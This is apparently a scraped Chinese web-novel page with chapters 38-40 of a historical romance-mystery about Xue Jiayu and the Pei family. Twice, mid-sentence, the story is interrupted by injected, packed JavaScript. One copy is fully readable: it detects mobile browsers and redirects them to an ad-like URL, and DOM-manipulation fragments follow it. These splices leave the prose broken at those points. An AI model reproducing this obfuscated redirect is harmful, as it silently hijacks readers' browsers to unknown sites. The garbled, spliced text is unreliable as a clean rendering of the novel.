蒋宁显也怕她自己待在这里会觉得无所适从,便让她去烙煎饼。 薛嘉玉接过她递来的饼,随即走到灶台面前,将点燃的火折子丢进灶膛里面,干燥的柴木立刻就熊熊燃烧起来。 待锅开始有些热了之后,她便把用芝麻压榨成的油倒进了面前这口大锅里面,油刚一接触锅面,就立马发出了刺耳的滋啦滋啦的声音。 由于这口大锅实在是重如千斤顶,薛嘉玉不得不两手握住锅把,顺时针转了一两圈,让油能够均匀地铺满锅底,这样饼也能够煎得两面均匀金黄。 这时薛嘉玉的身后响起了蒋宁显关切的声音,“要不煎饼就让厨子来做吧,我怕油会溅到你的身上。” 她做这种事情都已经习惯了,手臂上甚至还有几处热油留下来的痕迹,薛嘉玉摇头拒绝:“没关系的,长嫂。” 说着,薛嘉玉便把饼放在锅沿,一松手,饼便顺着锅壁一路滑进了热油里面,热油瞬间沸腾起来,一滴滴热油像是一个个会跳舞的小人一般,上下不断窜动着。 见时间差不多了,薛嘉玉又用锅铲将饼翻了个面继续煎。 待到煎饼变得两面金黄的时候,薛嘉玉便用锅铲把它盛进青白色的盘子里。 她双手捧着烫呼呼的盘子,对着煎饼吹了吹热气,继而就走到蒋宁显面前,将一双筷子递给她,“长嫂,快来尝一口。” 蒋宁显接过筷子,夹起盘子里这块煎饼,尝了一小口,“煎得挺不错的。剩下的煎饼也不多了,就让厨子们来做吧,我有些话要同你说。” 38. 白虎玉佩 薛嘉玉瞧着小厨房一共也没有做多少张饼,估计也就是一人份半的样子,她有些疑惑,“长嫂,你只做了这些吗?” 蒋宁显不忍浅浅叹了口气,她推开小厨房的门,“裴珩不爱吃这些,而且我也不知道吃晚膳的时候他能不能赶回来。我也不知道你们会回来,所以只做了我要吃的份量。” 这时外面的庭院中,有好几位下人都在拿着扫把和簸箕清扫地上的枯枝败叶,还有几位下人手里拿着一把长长的剪刀,细致地修剪着草丛。 他们见到蒋宁显过来了,纷纷放下手里的事情,恭敬行礼,齐声道:“蒋夫人好。” 蒋宁显和蔼地笑了下,顺便提醒他们修剪草丛的时候注意一些,莫要把自己伤着了。 紧接着,她便把薛嘉玉带到了正堂,蒋宁显伸手抬起她腰间的白虎玉佩,大拇指轻轻地感受着上面的纹路,“文溪都能把这枚玉佩赠予你,想必定是爱你至极。” 薛嘉玉只知道这枚玉佩很是贵重,但是并不知道这枚玉佩蕴含着怎样的含义,听后她甚是疑惑,“啊?” “看来文溪没有跟你说过这枚玉佩的来历吧。这枚玉佩是当时泰安公主得胜归来,先帝特赐予公主的,世上仅这一枚。后来泰安公主去世,就把这枚玉佩托付给了文溪,文溪视若珍宝,从不离身。” 难怪当时裴砚跟她说这枚玉佩切记不可搞丢,一定要放在身边,她原以为是因为玉佩十分昂贵,没想到居然是先帝所赐的传家宝。 蒋宁显眸光深沉,她抬起手为薛嘉玉拨了拨额前的碎发,“文溪不和你说,应该是怕你不肯收下。我同你说这件事情,并非是为了用这玩意儿束缚你,我是希望你能够和文溪好好的,互尊互敬互爱。若是文溪招你惹你了,你就来裴府找我,长嫂定会为你出气的。” 薛嘉玉瞧见长嫂对自己这般好,心里就默默替她不值,若是她嫁给了自己心爱的人,恐怕也不至于过得这么孤单。 “多谢长嫂。” “你我不必客气,平日里你若有空就来我这儿坐坐吧,陪我说说话,我也没那么闷。” 说着,蒋宁显忍不住打了个哈欠,脸上有些倦怠之色。 薛嘉玉见她似乎是有些困了,就让她回屋休憩一会儿,但蒋宁显身为当家主母,怎么可能把客人撂在一边呢?更何况她未来兴许还能成为蒋宁显的弟妹。 蒋宁显自然是不可能冷落她的。 只见她摆了摆手,强装精神,“无碍,我最近总有些嗜睡,兴许是天气渐暖,我也要开始冬眠了吧。” 但是薛嘉玉瞧她脸色也不太好,便道:“长嫂,你还是回去休息一下吧。你这种症状持续多久了?裴侍郎就没有带你去瞧瞧大夫吗?” 蒋宁显面色有些苍白,双唇也无甚血色,忽然一阵凉风袭来,她顿觉有些冷,便用手拢了拢披风,她如今这副样子哪里看得出未成婚前将门虎女的模样? “裴珩平时很少关注我,我也不会主动因为这种小事就去烦他。不过这样也挺好的,至少我不用像别的夫人一般操心自己的丈夫。” 薛嘉玉微微颔首,“原来如此,那长嫂还是速速去休息一会儿,我就在这附近瞎逛悠就成。” “那行,等文溪他们回来了,你叫侍女来通传我便是。” “知道了,长嫂放心。” 等蒋宁显在侍女的搀扶下离开后,薛嘉玉便在此处转悠了几圈,裴府甚大,有许多弯弯绕绕,她差点就迷路了,还好有路过的仆从将她带了出去。 不得不说,这裴府的装潢甚是简朴,但随处可见一些古玩,后院有着假山流水,甚至还有一个小小的湖心亭,亭子里摆放着一架古琴,瞧着倒是有种古色古香的感觉,几乎毫无奢靡之风。 大抵过了一个时辰,裴家兄弟俩才一前一后地踏进了裴府的大门,裴砚大步上前,走到你的身边,难得对裴珩恭敬了一些,“兄长,这位便是薛嘉玉,我裴文溪的心上人。” 此前薛嘉玉一直都很好奇这位叫做裴珩的人究竟是个什么样的人物,如今终于可以窥见真身了。 只见站在自个儿面前的裴珩身材颀长,一双远山眉明明看着秀气,但是那双眼神实在是压迫感十足,不怒自威,让人瞧了便觉得心里发毛,但忽略掉他的那双眸子,其他五官都给人一种秀气柔和的感觉。 他一身墨绿色衣裳,腰间系着一个香囊和一枚玉佩,倒不似裴砚那么花哨,香囊上的玉兰花被绣得歪歪扭扭,玉佩上雕刻着一对举案齐眉的鸳鸯。 薛嘉玉忍不住在心里面默默想,也难怪长嫂迟迟不肯和裴珩和离,这般芝兰玉树的男子在长安城里属实是可遇而不可求,不过她倒觉得裴珩瞧起来更像是在大理寺当官的。 薛嘉玉内心有点怵他,立马恭谨行礼,“裴侍郎。” 裴珩脸上不见半点笑容,“是哪家的小娘子?” 裴砚不愿让她自揭伤疤,就替她开口:“她不是什么高门贵女,她父母早亡,是个孤女,就是一平常人家的孩子。” 可裴珩听后,脸上依旧没有多余的表情,他眸光暗沉,“裴砚,你毕竟是裴府的一份子,娶妻的时候还是要注重对方的家世,门当户对此话不假。” 听及此,裴砚的脸色唰的一下就变了,他的眉毛向下沉了几分,“裴珩,你没资格干涉我娶什么样的妻子,我只想娶我心上人,旁的我都不在乎。” 裴珩将双手背在身后,“长兄如父,我怎么没有资格干涉?你若当真要娶她,可曾想过爹娘的看法?可曾想过她将来会被他人如何编排?” 裴砚张了张嘴,本来还想要说他几句,却被薛嘉玉拍了拍肩膀,示意让他不要说话。 薛嘉玉不希望他们二人因为自己而兄弟反目,她仰起头,直视裴珩的双眸,“裴侍郎,我和文溪尚未到谈婚论嫁的地步,您不必同文溪争论。况且,我和裴侍郎还是第一次见面,您就这般不喜欢我,那我以后便不来扰您清静便是。只是今日夫人为文溪设下了庆功宴,还望侍郎给我一个留下来的机会。” 裴砚现在一肚子火气,见她还如此低声下气地对他说话,眉心就忍不住开始突突地跳着,“阿玉,你不必同他这么客气。裴珩,我知道我和阿玉认识时间不长,但我心若磐石不可转也,无论要等多久,我都会娶她。” “裴砚,你若只是和她在一起,我不反对,但你若要娶她,我是不会放任你的。” 裴砚一向不喜欢受人掣肘,如今他的人生大事居然也要被说三道四,“你不同意没关系,大不了就把我的名字从族谱里面删去。” 裴珩脸上冷静的神色终是出现了一丝破裂,他厉声道:“裴砚,你反了天了!” 可这时,空气中忽然间响起“啪”的一声。 是刚睡醒匆匆赶来的蒋宁显扇了裴珩一巴掌。 裴珩捂着自己被扇红的脸颊,他的双眸顿时浮现出一丝柔情,“宁显……” 蒋宁显方才听见外面有争吵声,便随便抓了一个侍从打听情况,却发现是裴珩就着他俩婚事的事情吵起来了。 她很是羡慕薛嘉玉和裴砚之间的感情,实在不忍这样一对举案齐眉的璧人被门当户对这四个字拆散。 况且,蒋宁显对裴珩积怨已久。 这一巴掌也并非是为了薛嘉玉,也是为了她自己。 蒋宁显左手指着裴砚,眸中似有泪珠打转,她的双唇轻轻地颤抖着,“裴珩,你拿门当户对压文溪,是想要让文溪和他将来的妻子变成我们两个这样吗?他们二人两情相悦,你何必要将他们拆散?非要看见自己的亲弟弟与他的妻子貌合神离,你才满意吗?你虽然给到了我尊重,也让我免受外人的议论,但你从来都没有给到我最想要的东西。 本以为只要我们相处得越久,我就可以等到那一天,可如今看来我是等不到的。裴珩,你当年娶我,只是看上了我蒋家的权势和在朝中的地位吧。” 说罢,裴珩尚未来得及抓住她,蒋宁显就一把扯下腰间那枚鸳鸯玉佩,狠狠地摔在了地上,立刻成了一捧碎片。 裴砚忍不住在心里面拍手称快,他笑着说:“活该。” 他一把揽住薛嘉玉的肩膀,“走,我们去吃庆功宴。” 薛嘉玉尚未从方才的事情中缓过来,裴砚看她双目无神,便问:“怎么了?在担心长嫂?还是裴珩?” “不是担心,我是终于知道为何长嫂忍气吞声一直留在裴府的原因了。” 裴砚扬了扬眉,他眸中尽显疑惑,“是什么?” 这里只有他们两个人,薛嘉玉倒也不必那么拘束,她抄起筷子,夹了一块蒋宁显做得煎饼吃,“长嫂心悦裴侍郎,本想着二人多接触多了解,兴许就能让裴侍郎爱上自己,可是有心栽花花不开。” 裴砚可半点都没看出来长嫂喜欢那头死驴,而且他也不相信蒋宁显会喜欢上裴珩,他嗤笑一声,浑然一副不相信的模样。 “怎么可能?裴珩哪一点值得别人喜欢?” “但他总会有优点吧?我记得你之前跟我说小的时候你还经常去他房里睡觉,说明你们两个的关系并不差,究竟后面发生了什么,才让你们一见面就吵?” 裴砚敛了敛眉,他的脑海里很快就浮现出了很多回忆。 “其实裴珩因为是长子,所以从小到大都背负了全家的希望,他不是一个情绪外露的人,但他还算善良,对我也挺好的,每次从私塾回来都会陪我玩很久才去温习功课。但后来,他进了吏部,工作繁忙,我们就很少在一起打闹了。也许是他和吏部的那些老匹夫待久了,所以人也跟着变得古板了一些。” 薛嘉玉也看出来裴珩这人确实擅于隐藏自己的情绪,除非逼不得已,她将面前这盘煎饼递到裴砚面前,“你拿去给裴侍郎吃,劝劝他。” 裴砚瞟了一眼那盘香喷喷的煎饼,旋即撇过头去,“不要,他刚刚还说了你,你居然还想着他?记吃不记打可不行。” 她把盘子硬塞在裴砚的手里,“家和万事兴。” 裴砚褐色的眼珠子骨碌一转,他登时有了个好主意,“那你要是肯与我成亲的话,我就听你的。” 薛嘉玉伸手握住他的手心,“好,我答应你。” 只要她大仇得报且能全身而退。 小计谋得逞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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殊不知,他们的谈话都被藏在假山后面的薛嘉玉给听见了。 但下一刻她就被裴砚给揪出来了。 “阿玉,出来。” 薛嘉玉两手放在身前,十指紧握,她有些心虚地走过去,“裴侍郎好。” 得知她是一位女仵作,裴珩便好奇地盯着她看了一会儿,忽而他的脑海里浮现出了第一次与蒋宁显见面的情景,那个时候她刚骑马打猎回来,身上穿着红色马面裙,手里拿着弓箭,头发不似同龄少女那般梳成时兴的发髻,而是束了一个高马尾,利落飒爽。 当时,裴珩第一眼就被她给吸引了。 这样一想,她自从和自己成婚后却是变了很多,不再骑马狩猎,而是整日捧着账本打理着府中的事务和产业,偶尔会去店面里看看经营情况,之后又开始钻研起了厨艺。 裴珩很快收起飘散的思绪,有点难为情地开口:“你也随文溪叫我兄长吧。” 薛嘉玉坐在裴砚身边,“是,兄长。” “宁显那边就拜托你了,你们都是女儿家,想必她也更容易倾诉心事,等我明日忙完了吏部事务,就去看她。” 她张了张嘴,有一句话不知道当说不当说。 裴砚看她有些踌躇,“想说什么便说。” 薛嘉玉依旧不太敢直视裴珩的眼神,迟疑片刻还是决定说出来,“兄长,若是让我去代替你安慰长嫂,那长嫂必定会认为你不在乎她,让她回府只是为了顾及裴府的脸面,这样势必会适得其反。无论有多忙,你都要亲自去蒋府,哪怕只是送些东西也好。” “行,我明白了。你们今夜也早点入睡吧。” 她忽地凑到裴砚耳畔,“等等?什么叫做我们今夜也早点睡?” 裴砚一把揽住她的胳膊,饶有兴致地盯着她,看向她的时候,他的眼里总是带着浓浓的爱意。 他不正经地开口:“他的意思是让你住在这儿。” “这不行吧。”薛嘉玉总觉得这样是不是太快了点。 可裴砚是个无耻不要脸的,他将脑袋侧放在她的肩膀上,语气有些委屈,“阿玉,你就留在这里陪着我嘛,不然我和那死驴关在一起得多无聊啊。” 薛嘉玉不自然地耸了耸肩,实在是磨不过裴砚,就暂时应下,“那我就今晚留下来吧,你可别多想,我不是因为你留下来的,是因为现在太晚了。” “好好好,我都明白的。” 随后,裴砚就张罗着下人们腾出一间宽敞通风且光线好的厢房,然后铺上最昂贵最松软的床单,并且还派了一部分人出去采买衣裳和首饰,价格无所谓,主要是不能亏待了她。 薛嘉玉想要拉住他,觉得买衣服和首饰完全就是多此一举,太浪费钱了,可是裴砚完全沉溺在买买买的世界里,根本听不进去她的。 裴砚亲自给你铺好床,“快来试试软不软?” 她坐在床上试了试,接着薛嘉玉将自己腰间的白虎玉佩取下来,递到裴砚眼前,“文溪,这白虎玉佩太贵重了,是泰安公主留给你的遗物,我还是还给你比较好。” 可是裴砚没有收回去。 “送出去的东西哪里有收回来的道理?况且当时祖母跟我说,以后要是我喜欢上了哪位姑娘,就把这玉佩送给她,就当是定情礼物。” 39. 信纸 裴砚把玉佩亲自系在你的腰间,而且系得非常牢固,轻轻一扯是断然扯不下来的。 “以后不准取下来还给我了。” 薛嘉玉低头瞧了眼玉佩,“我知道了。” “那我就出去了,有事就叫下人们帮你做。” 她点点头,速速把裴砚打发走。 薛嘉玉掀起被子一角,灵活地钻进了温暖的被窝里,不远处有火炉烤着,整个房间都温暖得像是春天一样。 她刚掖好被子,准备闭上眼睛睡觉,就听见有一阵很奇怪的“咚咚咚”声音,薛嘉玉原本以为是听岔了,可是这声音持续了很久,让她难以忽略。 于是,她只好憋着一肚子火气,掀开被子,强迫自己离开温暖松软的床榻,薛嘉玉仔细辨别声音来源,她发现是从窗户这里传来的。 薛嘉玉推开窗户,只见一只短脚的异色鸽子站在窗框上,它的脚边绑了一张信纸。 她神情疑惑地抽出那张信纸,然后将鸽子放飞。 展开信纸,发现这封信是崔景天寄来的,信上说:你为何不提前告诉我你是今日回京?为了让你宽慰我受伤的心灵,明晚酉时我们在平泉楼见面吧,我有十万火急的事情要同你商量。 薛嘉玉叠好信纸,放在妆台上,继而又爬上了床,她在床上翻来覆去也睡不着,心里面忍不住好奇崔景天究竟有什么十万火急的事情要同她商量? 她也不禁忧虑陈昭的事情,他和陈晟真的有合作关系吗?以及陈昭身边那个侍卫,他的声音竟与那夜在斜阳山上和王夫人说话的男子一模一样。 不知不觉间,她就酣然睡着。 翌日清晨,薛嘉玉好像是被什么争吵的声音给吵醒的,可是她明明记得今天不是休沐日,所以裴珩定是早早就去上朝了,那裴砚还能跟谁吵起来呢? 裴府的柴房里,此处只有成堆的木柴,墙壁上有一个不大不小的方窗,可木柴前面却坐着一个被用麻绳五花大绑起来的男子,那男子一边蛄蛹着,想要挣脱麻绳,一边冲着柴房紧锁的门怒吼。 “姓裴的!你个狗东西!我替你办事办了那么多年,啥好处都没讨到,还要被你绑在这柴房里面。你就是个没良心的白眼狼,早知道当年我就不应该放弃做官,去经这破商,我陈晟还真是交友不慎啊!为了你,我韬光养晦,与那些权贵们斗得尔虞我诈。可是你!又是怎么报答我的?姓裴的,你有没有半点良心啊?” 门外,薛嘉玉刚好同拿着钥匙过来的裴砚撞在了一起,她用手指指了指柴房紧闭的门,“你怎么把陈晟给绑过来了?” 裴砚若无其事地拿着钥匙插进锁孔里面,“不是你怀疑他和陈昭有染吗?” “那也没必要把他绑起来吧。” 他推开大门,里头的陈晟见来者正是刚才骂骂咧咧的“姓裴的狗东西”,陈晟立刻激动起来,他用两只腿狼狈地往前面挪,接着伸出一条腿狠狠踹了裴砚一脚,就像是一条疯狗在咬人一般。 “陈晟,你再踢我一脚,我就把你的腿也给绑起来。” 听及此,陈晟立刻消停了,他扬起脑袋,视线不禁在面前这俩人身上饶有兴趣地逡巡着,“怎么?把我绑过来,就是为了见证你们惊天地泣鬼神的爱情?” 裴砚懒得和他兜圈子,干脆就把陈昭的事情跟他说了,“所以,这到底跟你有关系吗?” 陈晟眸中尽显惊讶,他提起脚又踹了裴砚一次,“好啊你,在你眼里,我陈晟就是个这么没有良心的人是不是?我贪财,但也不至于这般丧尽天良啊,做这种昧良心的事情,我都怕被雷劈死。” 薛嘉玉绕到陈晟身后,粗暴地给他解开绳子,“所以说,你对自己表弟做的事情毫不知情?” 陈晟皱着眉头揉了揉手腕,“当然不知道了,我们陈氏虽然都是供奉一个祖宗,但是十几年前就已经分家了,两家互不干涉。他们长安陈氏就是做了再多烧杀抢掠之事,都跟我们洛阳陈氏一脉无半点关系。” 她很快就捕捉到了关键词,“烧杀抢掠?” 陈晟也是一个没心没肺的,也没在脑子里多想几遍,就直接脱口而出,“对啊,他们向来都会为了保住自己的荣华富贵,搜刮民脂,对于那些知情者,也采用一贯的灭口。” 这时,裴砚捂着嘴巴咳咳了两声,薛嘉玉脱口而出地问题被迫吞进了肚子里面。 只见裴砚倚靠在门框上,他的视线落在了薛嘉玉身上,眸色晦暗不明,看不透他心里面究竟在想什么,接着裴砚收回眼神,冲着陈晟吩咐:“陈晟,你跟我来一趟书房,我有事情想要交代给你。” 陈晟顿觉自己的命比牲畜还苦,前一秒还被绑在这里,下一秒就又要去替人做事了,他不禁在心里摇了摇头,认命道:“知道了。” 待陈晟离开后,薛嘉玉发现裴砚并没有跟上去,而是站在门口看着她。 她顿觉脊背一凉,心里冒出一种心虚的感觉。 她担心是自己方才有些失态,引起了裴砚的怀疑。 薛嘉玉弱弱地开口:“大人,你还有事吗?” 裴砚不动声色地收回眼神,他的嘴角溢出一丝不明觉厉的笑容,继而摇摇头,“没什么事。今晚和崔景天去平泉楼的时候务必注意安全,快回来的时候就让随从来裴府找我,我来接你回去。” 听后,她悬起来的心依旧没有安稳落地,薛嘉玉点头应道:“好,我知道了。” 薛嘉玉待在裴府也没什么事可做,唯一能聊天的蒋宁显也会娘家了,她干脆等吃完午饭后,就去屋里睡了一会儿。 还好侍女及时把她叫醒,否则薛嘉玉定会一觉睡到深夜的。 她手脚迅速地从床榻上爬起来,坐在梳妆台前,对着镜子描了描眉,然后用口红纸放在唇间抿了抿,接着就自己拿起梳子简单梳了个朝云近香髻,并从妆奁里把裴砚送她的那对耳铛取出来,仔细戴在耳垂上。 捯饬好自己后,薛嘉玉就离开了裴府,本来有几位侍女是想要跟着她一块去的,毕竟裴砚下了令,她们不敢不从,可是薛嘉玉实在不习惯外出还要带仆从,就把她们打发走了,也让她们莫要担心,裴砚那里她自会去亲自交代。 到了平泉楼,崔景天正身着一身鲜红色的齐胸襦裙,肩膀上围着一件深蓝色披风,浑身上下毛绒绒的,让薛嘉玉看了都想直接钻进那件披风里面,然后毫无顾忌地来回打几个滚。 见薛嘉玉在人来人往的街道上款款现身,崔景天快步上前,瞧她身上穿得有点薄,就把自己手里的暖炉递给她,“这都已经十一月了,还穿这么薄?快拿着暖炉捂捂手心。” 兴许是因为那些温暖的衣裳价格都十分昂贵,薛嘉玉从小到大就没穿过几件,所以每一个冬天都是靠不断地添上薄薄的衣裳来御寒,久而久之,她渐渐不是那么的怕冷了,就算冷也只能忍着,毕竟衣服套得多了,干起活来就不方便。 薛嘉玉双手捧着暖呼呼的手炉,手炉通体金色,外面还用动物皮毛围着,看起来十分可爱,而且有了皮毛装饰,两手拿着手炉也不会显得咯人。 崔景天见她盯着这手炉都有些望眼欲穿了,便好奇一问:“就这么喜欢?改日我专门买一个送到你家里去就是了。不过话说回来,这长安的天越来越冷了,裴砚就没有给你买暖手炉吗?我瞧这天,估计过不了多久,就要下雪了。” “我本来也就不要求他给我买这些,再者我现在也有钱了,可以自己买。” 说罢,薛嘉玉亲昵地挽上她的臂弯,跟着她一块来到了三楼的雅间,店小二十分热情好客,一边为这两位贵客点燃火炉,一边将平泉楼的招牌菜全都端了过来。 店小二的右肩上搭着一条白色毛巾,两只手恭谨地放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188322|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身前,脸上挂着笑容,“二位若是有什么吩咐,尽管吩咐我们,我就不打扰二位娘子享乐了。” 待店小二离开包厢后,薛嘉玉才问:“景天,你信上说的十万火急的事情究竟是什么?” 说起这个,崔景天的眉眼间霎时添上了几分忧愁,她单手撑着脸颊,不由得叹了一口气,“陈晟说他心悦于我。” 她说这句话的时候,薛嘉玉正在品酒,差点儿没把嘴里的酒全都给吐出来。 她单手遮住嘴巴,目瞪口呆,薛嘉玉原以为先前裴砚跟她说的是单纯唬他的,没曾想这居然是真的。 早知道今早在柴房的时候,薛嘉玉就不应该把陈晟身上捆着的麻绳给松开,应该把他吊到天花板上,好好抽问他一番。 薛嘉玉打算先看看崔景天的态度,再决定怎么抽他,“那你是怎么想的?” 崔景天倒了一杯酒,单手握着酒杯晃了晃,浅绿色的酒水顺着杯壁划过,在杯壁上留下了一层淡淡的酒渍,接着她一饮而尽,此酒辣的她一时间差点连话都说不出来了。 她的五官都快要皱在一起了。 “好辣,早知道就不喝这么多了。” 薛嘉玉用手帕给她擦了擦嘴角,“平时也没见你喝酒喝得这么急啊,是不是陈晟惹你不开心了?” “跟他没什么关系,我只是不知道该怎么回应他。” 她倒觉得这个问题并不是那么的复杂,他们二人都是来自名门望族,不用操心柴米油盐,况且陈晟身上也无官职,倒也不用怕他遭到他人非议。 薛嘉玉抿了口酒,“你若也对他有意,那就和他私定终身便是;若是无意,那你便跟他直说就好。” “我也不知道我自己对他到底是什么感觉。”崔景天愁容满面,眸中不见昔日的光彩,她迟疑地继续说下去,“那日他同我说,原来早在我和周琅刚成婚的时候,他就已经对我萌生情意,但念及我是周琅的妻子,他不得不克己复礼。可我对他并不了解,况且他在洛阳的时候总是花天酒地的,我就有些犹豫。” 当局者迷,旁观者清。 薛嘉玉便提议:“那你便就再等等,看看他对你是否是真心的?若是真心,那你也可安心;若是他又在外面寻花问柳,那你也不吃亏。” “行。” 崔景天举起酒杯,碰了一下薛嘉玉手里攥着的杯子,瞬间发出了一声清脆的“砰”。 “景天,文溪托我向你打听点儿事。” “裴砚?你直说吧。” 薛嘉玉盘算着那长安陈氏作恶多端,想必其他门阀士族也应当知道点关于陈氏的事情,她身边出身高贵且交好的只有崔景天一个人。 因而她打算从崔景天这里入手,“我们这一次去金陵查女子失踪案的时候,发现幕后黑手是长安陈氏的陈昭,可是单凭这一个案子无法动摇陈昭,所以他就想要挖一些别的,好将他就地正法。” “陈昭他们家族确实个个都是狠人,尤其是他的祖父陈祺,当年陈祺和自己的弟弟陈琰,也就是陈晟的祖父,他们道不同想要分家,但是陈祺为了让自己能够分到更多的家族产业,就使了不少下三滥的手段,想要扳倒陈琰,后来好像还闹出了人命,陈祺为了嫁祸给陈琰,让他名誉扫地,结果这件事情被一位仵作给知道,后来那陈祺好像为了自保,就把那仵作给杀了。” 听完了这段话,薛嘉玉的手心顿时渗出了汗水,她的心脏猛地被揪紧,气息因紧张而变得有些紊乱。 她的语气十分迫切,“那位被杀的仵作叫什么名字?后来这件事情是怎么被处理的?” 崔景天不知她为何突然变得如此激动起来,只以为她是为了裴砚的事情而着急,她的眸光微亮,嘴角轻轻上扬,“其实这件事情我还当真知道,因为当时我祖父正任刑部尚书一职,知道其中部分关窍。” 40. 趁人之危 只听崔景天将当年的事情娓娓道来,“我记得那个仵作好像是姓薛,他无意间知道了陈祺的秘密,结果却招来了杀身之祸,为了永除后患,陈祺将他们家上上下下每一个人都给杀光了,这件事情当时是移交给了大理寺查,本应等大理寺查清真相后进行三司会审的,可是听我祖父说陈祺贿赂大理寺卿,大理寺便将此案永久封锁,这种消息在我们世族里面倒不算是稀奇事,但那些平头百姓自然是不知道的。其实这件事情裴砚也知道的,他没有跟你说吗?” 薛嘉玉眼皮一跳,她曾经问过裴砚,但他却是闪烁其词,本以为裴砚是真的不清楚内幕,没想到他是知道但不明说。 她没有将实话说出来,“也许是他最近比较忙,忙忘了吧。” 崔景天发现她自从知道了当年的那件事情后,就一个人自顾自地埋着脑袋喝酒,“怎么了?” 薛嘉玉抿了抿嘴唇,她的身上都充斥着一股酒香,她撑着脑袋,脸颊浮现出红晕,“我就是突然觉得权力是真的可以压死一个人的。” “这是自然的,所以得要自己不断上爬。” 此话不假,但是报仇迫在眉睫,薛嘉玉没有那么多时间韬光养晦,况且她是一位女子,怎么爬到权力的巅峰? 她只能够采取最笨的一种报仇方式。 崔景天看她眼神迷离,脸颊发红,就知道她定然是喝醉了,她把薛嘉玉面前的酒杯夺过来,“你呀,还是别继续喝酒了,吃点菜吧。” 说罢,她便吩咐自己身边候着的侍女,“去裴府请裴砚过来。” 侍女领命离开之后,这间宽敞的包厢就只剩下她们两个人,旁边的窗牗微微开着,外面的冷风抱成一团,一股脑地钻了进来。 溜进来的冷风让薛嘉玉晕晕沉沉的脑袋变得清醒了不少。 薛嘉玉喝多了后就会觉得全身乏力,所以她也没有把崔景天抢走的酒杯拿回来,她抄起筷子,夹了一块色香味俱全的东坡肉来吃,但她却觉得索然无味。 于是她夹遍了桌子上十八道长安名菜,都觉得吃起来一点儿也不得劲。 崔景天看她每一盘菜都只尝了一口,疑惑地问:“这十八道名菜里面都没有一道是你喜欢的?我记得你不是很喜欢吃荤菜吗?” “是喜欢吃荤菜,只是我好像食欲有些不振。”薛嘉玉顿时心生一计,她把视线投到被崔景天抢走的杯子上,她无力地趴在桌子上,“一定是因为没有美酒作伴,所以才觉得面前这些招牌菜都索然无味,若是有了美酒的话,我一定可以把这一桌子都给吃完。要是没有美酒的话,恐怕我就——” 崔景天真是受不了她了,她将那盏酒杯推到薛嘉玉面前,“好了好了,拿去喝吧,反正我已经叫人去找裴砚过来接你了。” 果然,有了美酒作伴,薛嘉玉愣是把那一整盘东坡肉都给吃得干干净净,本来打算接着又起一瓶酒的,可是她的手腕却被人从后面握住。 薛嘉玉顺着那白皙的手腕向上看,探求的目光最终停留在了裴砚那张芝兰玉树的脸蛋上,她的额头刚好到裴砚下巴的位置,能够明确嗅到裴砚身上的苏合香。 她一把揪住裴砚的衣襟,抬起头一脸真诚地发问:“嗯?你换澡豆啦?” 见此情此景,崔景天自知不应该在此继续逗留,于是她悄悄地溜走了。 “对,喜欢吗?” 薛嘉玉鬼使神差地将手心贴在裴砚的脸蛋上,他的脸蛋肤如凝脂,手感无可比拟,她眼神迷离,双唇殷红,“好闻,好喜欢。” 裴砚的视线偷偷瞥向她贴在自己脸颊上的手,浑身上下竟然萌生出了一种莫名的感觉,他强行将其压下,见她喝得太醉,估计走路都走不稳,索性把她从小椅子上抱起来。 他二话不说就把薛嘉玉横抱起来,薛嘉玉被吓了一大跳,一不小心将手边的酒杯的弄倒在地,里面的酒水立刻奔涌而出,沾湿了地毯。 薛嘉玉慌乱间用两只手揪住他的衣裳,整个人缩在一起,来平泉楼喝酒的人甚众,走廊上不断有店小二和客官来来往往,她觉得有些羞赧,就把头偏向裴砚这边。 裴砚瞧她似乎是有些害怕,就顿时起了逗她玩儿的心思,他两手往上面抬了抬,薛嘉玉霎时间感觉自己都要飞出去了,她两只手抓得死死的,眉头紧皱,眼睛死死闭着。 虽然害怕,但她依旧嘴上不饶人,“裴砚!你别晃了!” “好好好,我不晃了。” 薛嘉玉的脑海中依旧不断回想着崔景天说得那句话,她犹豫许久才打算开口:“文溪,你是不是瞒了我一些事情?” 裴砚没有直说,而是反问一句,“你不也瞒了我很多事情吗?” “有些事情是逼不得已的苦衷,有些是故意隐瞒的。” 裴砚抱着她踏出平泉楼的大门,此时外面冷风呼啸,无穷无尽的黑夜里好似有几片雪白的雪花飘过,在街上来往的行人好像也注意到了纷纷飘雪,大街上顿时人声鼎沸起来。 他及时转移话题,“好像下雪了,你要不要下来看看?” 薛嘉玉两手抱臂,轻轻摩挲着肩膀,“我有点冷,不想看。” 听及此,裴砚怕她受风寒,便立刻抱着她上了马车,薛嘉玉发现他又换了一辆马车,这驾马车的内部空间都快要赶上一间小房子了。 薛嘉玉就像是没见过世面一样,忍不住惊呼,“好大的马车啊。” “喜欢吗?想着你喝醉了肯定想要躺着,就专门牵这匹马车过来接你。” 他坐在离薛嘉玉有两个人远的地方,就像是在跟她避嫌似的。 薛嘉玉一点一点地挪到裴砚身边,“文溪,你生气了吗?” 裴砚转过头来盯着她,二人视线相撞,紧紧靠在一起,就连对方呼出的热气都能够明显感受到。 “没有生气。” 薛嘉玉嗔怪:“那你为什么离我这么远?” 还没等裴砚想好解释的话语,就见薛嘉玉二话不说就爬到了他的身上,她不顾形象地两腿岔开坐在裴砚结实有力的大腿上,裴砚那颗好不容易平静下来的心瞬间又乱了。 裴砚浑身上下顿时僵硬起来,他的两只手也不知道该怎么放才比较礼貌,语气不掩紧张,“阿玉,这样不好,你快下去。” “我不下去!” 说着,薛嘉玉就牵起他的两只手,将其放在了自己的腰上,可裴砚却像是触了电一般,立刻收了回来。 见他一副不愿和自己亲密的模样,薛嘉玉蓦地有些恼了,“你为什么把手收回来了?你之前不是经常揽着我的腰吗?” 